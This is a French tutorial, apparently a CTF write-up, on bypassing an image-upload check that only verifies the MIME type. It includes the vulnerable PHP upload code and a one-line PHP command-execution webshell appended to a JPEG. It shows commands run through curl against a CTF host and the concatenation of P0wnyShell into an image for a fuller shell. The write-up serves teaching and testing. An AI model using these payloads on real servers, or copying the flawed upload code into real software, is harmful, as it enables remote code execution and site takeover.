Tutoriel WebShell

Pourquoi faut-il ajouter plusieurs vérifications avant d’upload d’une image ?

Pour pouvoir upload une image sur un groupe, la seule vérification effectuée était celle du type MIME du fichier. Si celui-ci correspondait à une image, alors on pouvait passer la vérification et uploader notre fichier, avec l’extension que l’on voulait.

$finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime  = finfo_file($finfo, $_FILES['image']['tmp_name']);
        finfo_close($finfo);

        if (!in_array($mime, ['image/png', 'image/jpeg'])) {
            die("Only PNG or JPEG allowed");
        }

        $ext = pathinfo($_FILES['image']['name'], PATHINFO_EXTENSION);
        $imageName = uniqid() . "." . $ext;
        move_uploaded_file($_FILES['image']['tmp_name'], $UPLOAD_DIR . $imageName);
    }

Comment bypass le MIME ?

Si vous avez suivis, le MIME vérifie une partie du contenu de l’image et dit « Ok c’est du binaire JPEG, je laisse passer ». A partir de là, on se dit que l’on va cacher du code PHP dans une image.

1er étape : On télécharge une image

2eme étapes : On insère le code à la suite de l’image

On commence par un code simple, voir si le serveur web va exécuter notre fichier :

echo '<?php system($_GET["cmd"]); ?>' >> cat.jpeg

Puis renommer votre image en .php, car le serveur web doit l’interpréter comme du php, pas du jpeg.

 On voit bien dans la requête que le contenu est une image mais celle-ci est bien envoyé en tant que php

Avec une requête du type : curl https://dev.k.ctf.arrobe.fr/uploads/6967f336a2ede.php?cmd=ls | strings depuis le terminal on a ce résultat

Maintenant qu’on a vu que l’on pouvait faire une RCE, on va allez installer un shell bien plus qualitatif.

On fait les mêmes étapes :

On concatène l’image et le shell php dans un nouveau fichier

cat cat2.jpeg P0wnyShell.php > miaou.php

Puis on upload l’image

Ensuite on se connecte depuis un navigateur, et voila :